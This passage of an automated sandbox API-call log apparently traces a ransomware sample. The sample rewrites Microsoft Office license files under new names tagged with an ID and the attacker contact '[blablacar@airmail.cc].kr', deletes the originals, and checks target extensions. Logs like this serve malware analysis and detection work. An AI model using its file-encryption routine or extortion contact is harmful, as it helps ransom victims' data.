dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.370] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0196.370] GetLastError () returned 0x0 [0196.370] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x564c, lpOverlapped=0x0) returned 1 [0196.384] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5650, lpOverlapped=0x0) returned 1 [0196.772] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.772] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0196.772] SetEndOfFile (hFile=0x370) returned 1 [0196.773] CloseHandle (hObject=0x370) returned 1 [0196.773] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.773] SetEndOfFile (hFile=0x3c4) returned 1 [0196.776] CloseHandle (hObject=0x3c4) returned 1 [0196.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1 [0197.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.867] lstrlenW (lpString=".doc") returned 4 [0197.867] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.867] lstrlenW (lpString=".docx") returned 5 [0197.867] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.893] lstrlenW (lpString=".pdf") returned 4 [0197.893] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.893] lstrlenW (lpString=".xls") returned 4 [0197.893] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.893] lstrlenW (lpString=".xlsx") returned 5 [0197.909] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.909] lstrlenW (lpString=".ppt") returned 4 [0197.909] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.909] lstrlenW (lpString=".zip") returned 4 [0197.909] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.909] lstrlenW (lpString=".rar") returned 4 [0197.911] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.911] lstrlenW (lpString=".bz2") returned 4 [0197.911] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.911] lstrlenW (lpString=".7z") returned 3 [0197.911] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.912] lstrlenW (lpString=".dbf") returned 4 [0197.912] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.912] lstrlenW (lpString=".1cd") returned 4 [0197.912] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.912] lstrlenW (lpString=".jpg") returned 4 [0197.912] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.912] lstrlenW (lpString=".doc") returned 4 [0197.912] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString=".docx") returned 5 [0197.912] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.912] lstrlenW (lpString=".pdf") returned 4 [0197.912] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString=".xls") returned 4 [0197.912] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString=".xlsx") returned 5 [0197.912] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.912] lstrlenW (lpString=".ppt") returned 4 [0197.912] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.912] lstrlenW (lpString=".zip") returned 4 [0197.912] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString=".rar") returned 4 [0197.912] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.912] lstrlenW (lpString=".bz2") returned 4 [0197.912] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.913] lstrlenW (lpString=".7z") returned 3 [0197.913] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.913] lstrlenW (lpString=".dbf") returned 4 [0197.913] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.913] lstrlenW (lpString=".1cd") returned 4 [0197.913] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0197.913] lstrlenW (lpString=".jpg") returned 4 [0197.913] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.913] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.913] lstrlenW (lpString="HomeBusinessR_Trial2-ppd.xrm-ms") returned 31 [0197.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.914] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22215) returned 1 [0197.914] CloseHandle (hObject=0x4d8) returned 1 [0197.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220 [0197.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.920] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.920] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0197.921] GetLastError () returned 0x0 [0197.921] ReadFile (in: hFile=0x4d8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x56c7, lpOverlapped=0x0) returned 1 [0197.924] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x56d0, lpOverlapped=0x0) returned 1 [0197.928] ReadFile (in: hFile=0x4d8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.928] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x112, lpOverlapped=0x0) returned 1 [0197.928] SetEndOfFile (hFile=0x370) returned 1 [0197.928] CloseHandle (hObject=0x370) returned 1 [0197.928] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.929] SetEndOfFile (hFile=0x4d8) returned 1 [0197.932] CloseHandle (hObject=0x4d8) returned 1 [0197.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1 [0197.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.933] lstrlenW (lpString=".doc") returned 4 [0197.933] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.933] lstrlenW (lpString=".docx") returned 5 [0197.933] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.934] lstrlenW (lpString=".pdf") returned 4 [0197.934] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString=".xls") returned 4 [0197.934] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString=".xlsx") returned 5 [0197.934] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.934] lstrlenW (lpString=".ppt") returned 4 [0197.934] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.934] lstrlenW (lpString=".zip") returned 4 [0197.934] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString=".rar") returned 4 [0197.934] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString=".bz2") returned 4 [0197.934] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString=".7z") returned 3 [0197.934] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.934] lstrlenW (lpString=".dbf") returned 4 [0197.934] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.934] lstrlenW (lpString=".1cd") returned 4 [0197.934] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.934] lstrlenW (lpString=".jpg") returned 4 [0197.934] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.934] lstrlenW (lpString=".doc") returned 4 [0197.935] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString=".docx") returned 5 [0197.935] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.935] lstrlenW (lpString=".pdf") returned 4 [0197.935] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString=".xls") returned 4 [0197.935] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString=".xlsx") returned 5 [0197.935] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.935] lstrlenW (lpString=".ppt") returned 4 [0197.935] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.935] lstrlenW (lpString=".zip") returned 4 [0197.935] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString=".rar") returned 4 [0197.935] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString=".bz2") returned 4 [0197.935] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString=".7z") returned 3 [0197.935] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.935] lstrlenW (lpString=".dbf") returned 4 [0197.935] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.935] lstrlenW (lpString=".1cd") returned 4 [0197.935] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0197.935] lstrlenW (lpString=".jpg") returned 4 [0197.935] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.936] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.936] lstrlenW (lpString="HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 34 [0197.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.937] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11625) returned 1 [0197.937] CloseHandle (hObject=0x4d8) returned 1 [0197.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220 [0197.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.937] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.937] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0197.938] GetLastError () returned 0x0 [0197.938] ReadFile (in: hFile=0x4d8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d69, lpOverlapped=0x0) returned 1 [0197.941] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0197.942] ReadFile (in: hFile=0x4d8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.942] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x118, lpOverlapped=0x0) returned 1 [0197.942] SetEndOfFile (hFile=0x370) returned 1 [0197.942] CloseHandle (hObject=0x370) returned 1 [0197.942] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.943] SetEndOfFile (hFile=0x4d8) returned 1 [0197.946] CloseHandle (hObject=0x4d8) returned 1 [0197.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1 [0198.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.066] lstrlenW (lpString=".doc") returned 4 [0198.066] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.066] lstrlenW (lpString=".docx") returned 5 [0198.066] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.066] lstrlenW (lpString=".pdf") returned 4 [0198.066] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.066] lstrlenW (lpString=".xls") returned 4 [0198.066] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.066] lstrlenW (lpString=".xlsx") returned 5 [0198.066] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.066] lstrlenW (lpString=".ppt") returned 4 [0198.066] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.066] lstrlenW (lpString=".zip") returned 4 [0198.066] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.066] lstrlenW (lpString=".rar") returned 4 [0198.066] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.066] lstrlenW (lpString=".bz2") returned 4 [0198.066] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.066] lstrlenW (lpString=".7z") returned 3 [0198.066] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.067] lstrlenW (lpString=".dbf") returned 4 [0198.067] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.067] lstrlenW (lpString=".1cd") returned 4 [0198.067] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.067] lstrlenW (lpString=".jpg") returned 4 [0198.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.067] lstrlenW (lpString=".doc") returned 4 [0198.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.067] lstrlenW (lpString=".docx") returned 5 [0198.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.067] lstrlenW (lpString=".pdf") returned 4 [0198.067] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.067] lstrlenW (lpString=".xls") returned 4 [0198.067] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.067] lstrlenW (lpString=".xlsx") returned 5 [0198.067] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.067] lstrlenW (lpString=".ppt") returned 4 [0198.067] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.067] lstrlenW (lpString=".zip") returned 4 [0198.067] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.068] lstrlenW (lpString=".rar") returned 4 [0198.068] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.068] lstrlenW (lpString=".bz2") returned 4 [0198.068] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.068] lstrlenW (lpString=".7z") returned 3 [0198.068] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.068] lstrlenW (lpString=".dbf") returned 4 [0198.068] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.068] lstrlenW (lpString=".1cd") returned 4 [0198.068] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0198.068] lstrlenW (lpString=".jpg") returned 4 [0198.068] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.068] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.068] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 42 [0198.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.184] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=21737) returned 1 [0198.184] CloseHandle (hObject=0x548) returned 1 [0198.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0198.422] 